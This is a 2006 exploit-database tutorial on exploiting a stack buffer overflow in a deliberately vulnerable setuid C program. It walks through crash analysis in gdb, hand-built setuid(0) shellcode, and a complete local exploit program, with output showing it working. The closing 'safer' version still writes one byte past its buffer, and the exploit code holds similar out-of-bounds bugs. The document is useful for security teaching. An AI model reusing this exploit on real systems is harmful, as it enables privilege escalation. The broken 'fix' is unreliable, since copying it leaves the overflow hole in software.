Exploiting x86 Stack Based Buffer Overflows

EDB-ID:

13207

CVE:

N/A

Author:

c0ntex

Type:

papers

Platform:

Multiple

Published:

2006-04-08

				Exploiting x86 stack based buffer overflows
					by c0ntex | c0ntexb@gmail.com
					    www.open-security.org
				--------------------------------------------------------------

This document shows how to abuse destroyed NULL terminators to an attackers advantage by finding
and controlling functional execution of calls that fail to do any type of safe bounds checking.
This is an old subject but the methods used in this paper are still valid for exploitation of
applications today, this example is based on a real situation I found in mplayer - (05/2004)

First, let us find a bug to try. Copy vuln.c into an empty directory and run the following command:


 /*
	vuln.c
 */
#include <stdio.h>
#define MAX_SIZE 50

void error(void);
int main(int argc, char **argv);
 
void
error(void)
{
	fprintf(stderr, "An example buffer overflow\n");
        exit(1);
}
 
int
main(int argc, char **argv)
{
        char name[MAX_SIZE];
 
        if(argc < 2) {
                fprintf(stderr, "Usage: %s name\n", argv[0]);
                error();
        }
 
        strcpy(name, argv[1]);

        printf("Hello %s\n", name);
 
        return 0;
}


[c0ntex@darkside tmp]$ for files in `find . -type f`; do egrep -Hn 'strcpy\('
$files; done
./vuln.c:24:        strcpy(name, argv[1]);
[c0ntex@darkside tmp]$

Hey, strcpy is used, I wonder if name, which is the first arguement passed to strcpy is correctly
terminated?? From the man page, strcpy requires that the destination address must be large enough
to hold the string being passed as the second arguement. I wonder what happens if it's not?
                                                                                                                                                                                 
STRCPY(3)                  Linux Programmerâs Manual                 STRCPY(3)
                                                                                                                                                                                 
NAME
       strcpy, strncpy â copy a string
                                                                                                                                                                                 
SYNOPSIS
       #include <string.h>
                                                                                                                                                                                 
       char *strcpy(char *dest, const char *src);
                                                                                                                                                                                 
       char *strncpy(char *dest, const char *src, size_t n);
                                                                                                                                                                                 
DESCRIPTION
       The  strcpy()  function  copies the string pointed to by src (including
       the terminating â\0â character) to the array pointed to by  dest.   The
       strings  may not overlap, and the destination string dest must be large
       enough to receive the copy.
                                                                                                                                                                                 
Lets find out and compile it up..

[c0ntex@darkside tmp]$ gcc -o vuln vuln.c
[c0ntex@darkside tmp]$ su - root -c "chmod 4755 vuln"
[c0ntex@darkside tmp]$ ./vuln c0ntex
Hello c0ntex
[c0ntex@darkside tmp]$

Ok, the program work as required. The first arguement passed to vuln is a NULL terminated string
containing my nick, c0ntex, which is then stored in the name[] array. This is correct usage for
what the programmer *believed* to be required. However by abusing the fact that the character array
uses strcpy, we can perhaps be a little more mischevious, overwrite the NULL terminating byte and
cause a stack overflow.

Again, from the strcpy() man page:


"BUGS
       If the destination string of a strcpy() is not large enough  (that  is,
       if  the programmer was stupid/lazy, and failed to check the size before
       copying) then anything might happen.  Overflowing fixed length  strings
       is a favourite cracker technique."


Well, in our example there is 50 bytes to store user input. This is how vuln looks on the stack when
run with a string of less or equal to 49 + 1 NULL characters:

[c0ntex@darkside tmp]$ ./vuln c0ntex
Hello c0ntex
[c0ntex@darkside tmp]$

--------------------
| name[c0ntex]['\0] |  v - Grows down
--------------------
|  ... ... ... ...  |
--------------------
|  EBP 0xbffffa88   |
--------------------
|  EIP 0x8048470    |
--------------------


And now lets see what happens when more than BUFFSIZE characters are passed, overwriting the NULL
terminating byte. We will try 78 chartacters, it will become clear why soon.

[c0ntex@darkside tmp]$ ./vuln `perl -e 'print "A" x 78'`
Hello
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[c0ntex@darkside tmp]$

------------------
|  name[AAAAA     |   v - Grows down   <--------- This is the area where name[AAAAAAAAAAAAA..] is 
------------------                                stored, since name[] can only hold 49 bytes + 1
| ... ... ... ... |                               NULL byte safely, passing more data will cause
-------------------                               undefined behaviour. In this case, it smashes the
|   EBP=AAAA      |                               stack, overwriting pointers for EBP and EIP.
------------------
|   EIP=XXAA      |    <----- ( XX=random vaule)  CPU tries to execute XXAA and encounters a SIGSEGV.
------------------


Ok, it's all gone wrong here, the code has tried to access memory that it should not have, which has in
turn caused a segmentation fault. Reviewing the problem in gdb:


[c0ntex@darkside tmp]$ gdb -q ./vuln ./core.31817
Core was generated by `./vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x42004141 in _r_debug () from /lib/i686/libc.so.6
(gdb) i r
eax            0x0      0
ecx            0x1      1
edx            0x55     85
ebx            0x4212a2d0       1108517584
esp            0xbffffae0       0xbffffae0
ebp            0x41414141       0x41414141        <----------------- HERE
esi            0x40012020       1073815584
edi            0xbffffb24       -1073743068
eip            0x42004141       0x42004141        <----------------- HERE
eflags         0x10286  66182
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43


The CPU tried to execute the instructions at address 0x42004141. This probably means that the input buffer
of AAAA.. has overwritten EIP by 2 bytes. Remember, the buffer was only 50 bytes but we stuffed in 78!! The
CPU has then tried to execute the invalid address and crashed. By adding 2 extra A's, this can be verified:

[c0ntex@darkside tmp]$ ./vuln `perl -e 'print "A" x 80'`
Hello
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[c0ntex@darkside tmp]$ gdb -q ./vuln ./core.31820
Core was generated by `./vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x41414141 in ?? ()
(gdb) i r
eax            0x0      0
ecx            0x1      1
edx            0x57     87
ebx            0x4212a2d0       1108517584
esp            0xbffffae0       0xbffffae0
ebp            0x41414141       0x41414141        <----------------- HERE
esi            0x40012020       1073815584
edi            0xbffffb24       -1073743068
eip            0x41414141       0x41414141        <----------------- Bingo, we have owned it.
eflags         0x10286  66182
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43
(gdb) where
#0  0x41414141 in ?? ()
Cannot access memory at address 0x41414141
(gdb) info frame 0
Stack frame at 0x41414141:
 eip = 0x41414141; saved eip Cannot access memory at address 0x41414145
(gdb) b main
(gdb) r
Starting program: /home/iralt0c/vuln `perl -e 'print "A" x 80'`
 
Breakpoint 1, main (argc=2, argv=0xbfffe754) at vuln.c:22
22              if(argc < 2) {
(gdb) b strcpy
Breakpoint 2 at 0x42079dd4
(gdb) n
27              strcpy(name, argv[1]);
(gdb) x/x argv[1]
0xbffffb07:     0x41414141
(gdb)
0xbffffb0b:     0x41414141
(gdb) # as we can see, 0x41414141 is our user input
 
Breakpoint 2, 0x42079dd4 in strcpy () from /lib/tls/libc.so.6
(gdb) where
#0  0x42079dd4 in strcpy () from /lib/tls/libc.so.6
#1  0x08048470 in main (argc=2, argv=0xbfffe754) at vuln.c:27
#2  0x42015574 in __libc_start_main () from /lib/tls/libc.so.6
(gdb) list
27              strcpy(name, argv[1]);
28
29              printf("Hello %s\n", name);
30
31              return 0;
32      }
33
34
35
(gdb) n
Single stepping until exit from function strcpy, which has no line number information.
main (argc=0, argv=0xbfffe754) at vuln.c:29
29              printf("Hello %s\n", name);
(gdb) x/30x 0xbffffaf4
0xbffffaf4:     0x6d6f682f      0x72692f65      0x30746c61      0x75762f63
0xbffffb04:     0x41006e6c      0x41414141      0x41414141      0x41414141
0xbffffb14:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb24:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb34:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb44:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb54:     0x00414141      0x5f485353      0x4e454741      0x49505f54
0xbffffb64:     0x38363d44      0x4f480032
(gdb) s
Hello
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
31              return 0;
(gdb) x/50x name-10
0xbffff4b6:     0x003bbfff      0x5a380000      0x41414001      0x41414141
0xbffff4c6:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4d6:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4e6:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4f6:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff506:     0x41414141      0x41414141      0x00004141      0xf5540000
0xbffff516:     0xf560bfff      0x582cbfff      0x00024001      0x83500000
0xbffff526:     0x00000804      0x83710000      0x84260804      0x00020804
0xbffff536:     0xf5540000      0x8490bfff      0x84c00804      0xc6600804
0xbffff546:     0xf54c4000      0x0000bfff      0x00020000      0xfaf40000
0xbffff556:     0xfb07bfff      0x0000bfff      0xfb580000      0xfb6abfff
0xbffff566:     0xfb7bbfff      0xfb86bfff      0xfb96bfff      0xfba4bfff
0xbffff576:     0xfbe0bfff      0xfbf2bfff
(gdb) quit

No NULL bytes!! Lets run vuln correctly and check the difference:

(gdb) r `perl -e 'print "A" x 40'`
... SNIP ...
(gdb) x/50 name-10
0xbffff4b6:     0x003bbfff      0x5a380000      0x41414001      0x41414141
0xbffff4c6:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4d6:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff4e6:     0xdd004141      0x82edbfff      0x0a140804      0xc6604213
0xbffff4f6:     0xdd384000      0x849abfff      0x0a140804      0x53604213
0xbffff506:     0xdd584001      0x5574bfff      0x00024201      0xdd840000
0xbffff516:     0xdd90bfff      0x582cbfff      0x00024001      0x83500000
0xbffff526:     0x00000804      0x83710000      0x84260804      0x00020804
0xbffff536:     0xdd840000      0x8490bfff      0x84c00804      0xc6600804
0xbffff546:     0xdd7c4000      0x0000bfff      0x00020000      0xfb1c0000
0xbffff556:     0xfb2fbfff      0x0000bfff      0xfb580000      0xfb6abfff
0xbffff566:     0xfb7bbfff      0xfb86bfff      0xfb96bfff      0xfba4bfff
0xbffff576:     0xfbe0bfff      0xfbf2bfff
(gdb)

Run 1: No NULL byte in the 50 byte boundary, overflow occurs.
Run 2: NULL byte in the 50 byte boundary at 0xbffff4e6: 0xdd004141
                                                    HERE ---^^ 

I hope this helps clarify whats happened. The NULL byte has been overwritten and 41414141 has started
writing past the 50 byte boundary, stomping further down the memory slab, modifying the EIP pointer to
execute code at an address we control / supply. Since 0x41414141 is not mapped memory, the program will
crash.

char **argv NULL terminates as default. Since the programmer did not add one when using strcpy, it helps
him out through `chance` on the occasions where a user only supplies < 49 characters as an arguement.

Onward with exploitation.

There is a problem that needs solved, the attacker needs to know where the buffer is in memory, however
this is simple. Lets look back at gdb, all that has to be done is to check offsets from $esp.

(gdb) x/50x 0xbffffae0-100
0xbffffa7c:     0x0804846e      0x080484d0      0xbffffa90      0x00000003
0xbffffa8c:     0x400126e0      0x41414141      0x41414141      0x41414141
0xbffffa9c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffaac:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffabc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffacc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffadc:     0x41414141      0x00000000      0xbffffb24      0xbffffb30
0xbffffaec:     0x400124b8      0x00000002      0x08048350      0x00000000
0xbffffafc:     0x08048371      0x08048410      0x00000002      0xbffffb24
0xbffffb0c:     0x080482d8      0x0804849c      0x4000a950      0xbffffb1c
0xbffffb1c:     0x4001020c      0x00000002      0xbffffc0d      0xbffffc14
0xbffffb2c:     0x00000000      0xbffffc65      0xbffffc77      0xbffffc87
0xbffffb3c:     0xbffffc92      0xbffffca0
(gdb) x/x $esp-70
0xbffffa9a:     0x41414141


It is clear to see where our buffer is, 0x41414141. All that is now required to exploit this is to fill
this buffer with some opcodes and have the address that overwrites EIP pointer, point back into the opcodes.
The address at offset $esp-70 becomes the return address for the exploit.

Lets quickly whip up opcodes to use for the testing, which will be placed in a string on the command line:

[c0ntex@darkside tmp]$ cat > opcode.S << EOF
> .globl _start
> _start:
>          xorl %eax, %eax
>          xorl %ebx, %ebx
>          movb $0x17, %al
>          int $0x80
>          xorl %eax, %eax
>          xorl %ebx, %ebx
>          incb %al
>          int $0x80
> EOF
[c0ntex@darkside tmp]$ as -o opcode.o opcode.S
[c0ntex@darkside tmp]$ ld -s -o opcode opcode.o
[c0ntex@darkside tmp]$ strace ./opcode
execve("./opcode", ["./opcode"], [/* 29 vars */]) = 0
setuid(0)                               = -1 EPERM (Operation not permitted)
_exit(0)                                = ?
[c0ntex@darkside tmp]$ objdump -d ./opcode
 
opcode:     file format elf32-i386
 
Disassembly of section .text:
 
08048074 <.text>:
 8048074:       31 c0                   xor    %eax,%eax
 8048076:       31 db                   xor    %ebx,%ebx
 8048078:       b0 17                   mov    $0x17,%al
 804807a:       cd 80                   int    $0x80
 804807c:       31 c0                   xor    %eax,%eax
 804807e:       31 db                   xor    %ebx,%ebx
 8048080:       fe c0                   inc    %al
 8048082:       cd 80                   int    $0x80
[c0ntex@darkside tmp]$


We get 80 bytes to play with, due to the 50 byte buffer for name[] and extra padding that gcc adds. So
the command line arguement we use should look like this:

      -> ./vuln `perl -e 'printf "LOL" x 20'` \
      -> `printf "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xdb\xfe\xc0\xcd\x80"` \
      -> `printf "\xa9\xfa\xff\xbf"`

 A) Places 60 bytes into the buffer as NOPs (3 x 20)
 B) Places shellcode after the NOPS(16 bytes)
 C) Places the return address over EIP.


Which will create a buffer for name[] similar to this:

[<----------------------------72 Byte Buffer---------------->][EBP][EIP](+EBP+EIP=80 Bytes)
[ NOPS   NOPS    NOPS   NOPS   NOPS   NOPS   NOPS ] [ SHELLCODE ] [ RET ]


Lets try it out!


[c0ntex@darkside tmp]$ strace ./vuln `perl -e 'printf "LOL" x 20'``printf
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xdb\xfe\xc0\xcd\x80"` \
> `printf "\xa9\xfa\xff\xbf"`
execve("./vuln", ["./vuln", "LOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOL1Í1?????Í????"],
[/* 21 vars */]) = 0
uname({sys="Linux", node="darkside", ...}) = 0
brk(0)                                  = 0x80495f4
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or
directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=44200, ...}) = 0
old_mmap(NULL, 44200, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40013000
close(3)                                = 0
open("/lib/i686/libc.so.6", O_RDONLY)   = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220Y\1"..., 1024) =
1024
fstat64(3, {st_mode=S_IFREG|0755, st_size=1395734, ...}) = 0
old_mmap(0x42000000, 1239844, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =
0x42000000
mprotect(0x42126000, 35620, PROT_NONE)  = 0
old_mmap(0x42126000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x126000) = 0x42126000
old_mmap(0x4212b000, 15140, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4212b000
close(3)                                = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x4001e000
munmap(0x40013000, 44200)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40013000
write(1, "Hello LOLLOLLOLLOLLOLLOLLOLLOLLO"..., 87Hello
LOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOLLOL1Í1?????Í????
) = 87
setuid(0)                      = -1 EPERM (Operation not permitted)
_exit(0)                                = ?
[c0ntex@darkside tmp]$


Bingo, we made the application execute setuid and exit, that means this application has been forced to
execute code that we can control. Lets now build and test the final exploit for vuln.c:


 /*    
	 vuln_exploit.c
 */
#include <stdio.h>
#include <string.h>
#include <unistd.h>
  
#define NOP             0x41
/* Nops, doesn't have to be 0x90 */
#define RETADDR         0xbffff9e8
/* Address to place in EIP, offset from ESP */
#define VULN            "./vuln"
/* Vulnerable binary */
#define BUFFER          81
/* Buffer size + 1 NULL byte */

void die(void);
char buildegg(char *payload);
int main(int argc, char **argv);
/* Inform of our functions */
  
static char opcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
                       "\x31\xc0\x31\xdb\xfe\xc0\xcd\x80";
/* Shellcode. setuid(0), and exit(0) */
  
void
die(void)
{
        fprintf(stderr, "Usage: vuln_exploit.c <offset>\n");
        _exit(1);
}
  
char
buildegg(char *payload)
{
        int i;
        long retaddr;

        char *load = (char *) &opcode;
  
        retaddr = RETADDR;
  
        memset(payload, '\0', sizeof(payload));
 
        for(i = 76; i < BUFFER; i += 4)
                *(long *)&payload[i] = retaddr;
        /* Fill 4 bytes with return address */
 
        for(i = 0; i < BUFFER - strlen(opcode)-5; i++)
                *(payload + i) = NOP;
        /* Fill everything under 76 - shellcode size bytes with NOPs */
 
        memcpy(payload + i, load, strlen(load));
        /* Copy shellcode after the NOPS */

        payload[81] = 0x00;
        /* NULL terminate the buffer */  

        return *payload;
}
  
int
main(int argc, char **argv)
{
        char payload[BUFFER];
  
        if(argc < 2) {
                die();
        }
  
        fprintf (stdout, "\nLocal exploit for vuln\n");
  
        buildegg(payload);
  
        execl("./vuln", "vuln" , payload, NULL);
  
        return 0;
}


[c0ntex@darkside tmp]$ make vuln_exploit
cc	vuln_exploit.c	 -o vuln_exploit
[c0ntex@darkside tmp]$ ./vuln_exploit 0
 
Local exploit for vuln
Hello
????????????????????????????????????????????????????????1Í1?????Í?????????
[c0ntex@darkside tmp]$


This looks good, we had no segmentation fault, lets take a closer look using strace:


[c0ntex@darkside tmp]$ strace ./vuln_exploit 0
execve("./vuln_exploit", ["./vuln_exploit", "0"], [/* 26 vars */]) = 0
uname({sys="Linux", node="darkside", ...}) = 0
brk(0)                                  = 0x8049800
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or
directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=44200, ...}) = 0
old_mmap(NULL, 44200, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40013000
close(3)                                = 0
open("/lib/i686/libc.so.6", O_RDONLY)   = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220Y\1"..., 1024) =
1024
fstat64(3, {st_mode=S_IFREG|0755, st_size=1395734, ...}) = 0
old_mmap(0x42000000, 1239844, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =
0x42000000
mprotect(0x42126000, 35620, PROT_NONE)  = 0
old_mmap(0x42126000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x126000) = 0x42126000
old_mmap(0x4212b000, 15140, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4212b000
close(3)                                = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x4001e000
munmap(0x40013000, 44200)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
..
..
write(1, "Hello \220\220\220\220\220\220\220\220\220\220\220\220"..., 88Hello
????????????????????????????????????????????????????????1Í1?????Í?????????
) = 88
setuid(0)                      = 0
_exit(0)                                = ?
[c0ntex@darkside tmp]$


There, we have successfully caused vuln to execute setuid() and exit(). We can now change the opcode
and have vuln execute anything we like, perhaps spawning a remote shell, adding a new user accound
and setting a password. There is no real limit to what can be executed, providing you have enough
imagination.


A better version of vuln.c is attached below, which tries to validate data.

/*
         not_so_vuln.c
*/
#include <stdio.h>
#include <string.h>
 
#define MAX_SIZE 50
 
void error(void);
int main(int argc, char **argv);
  
void
error(void)
{
        fprintf(stderr, "Usage: ./vuln <Your Name>\n");
 
        exit(1);
}
  
int
main(int argc, char **argv)
{
        char name[MAX_SIZE];
        char *input;
  
        if(argc < 2) {
                error();
        }
 
        if((input = argv[1]) == NULL) {
                printf("Hmm, name was NULL, try again..\n");
                error();
        }
 
        if(strlen(input) > MAX_SIZE) {
                printf("Name too long, sorry\n");
                error();
        }
 
        if(strncpy(name, input, MAX_SIZE) == NULL) {
		printf("Strncpy error\n");
	}

        name[50] = 0x00;
                  
        printf("Hello %s\n", name);
                  
        return 0;
}


EOF

# milw0rm.com [2006-04-08]